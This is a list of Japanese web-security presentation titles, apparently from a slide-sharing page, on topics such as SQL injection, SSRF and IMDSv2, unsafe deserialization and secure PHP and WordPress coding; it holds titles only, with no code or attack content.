SPAセキュリティ入門~PHP Conference Japan 2021
PPTX
ウェブセキュリティのありがちな誤解を解説する
PPTX
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
PPT
SQLインジェクション再考
PPTX
徳丸本VMに脆弱なWordPressを導入する
PPTX
introduction to unsafe deserialization part1
PPTX
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
PPTX
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
PPTX
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
PPTX
秀スクリプトの話
PPTX
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
PPTX
若手エンジニアのためのセキュリティ講座
PPTX
ウェブセキュリティの常識
PDF
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
PDF
ウェブアプリケーションセキュリティ超入門
PPTX
ウェブセキュリティの最近の話題早分かり
PPTX
セキュリティの都市伝説を暴く
PPTX
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
SPAセキュリティ入門~PHP Conference Japan 2021
ウェブセキュリティのありがちな誤解を解説する
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
SQLインジェクション再考
徳丸本VMに脆弱なWordPressを導入する
introduction to unsafe deserialization part1
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
秀スクリプトの話
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
若手エンジニアのためのセキュリティ講座
ウェブセキュリティの常識
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
ウェブアプリケーションセキュリティ超入門
ウェブセキュリティの最近の話題早分かり
セキュリティの都市伝説を暴く
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう

安全なPHPアプリケーションの作り方2013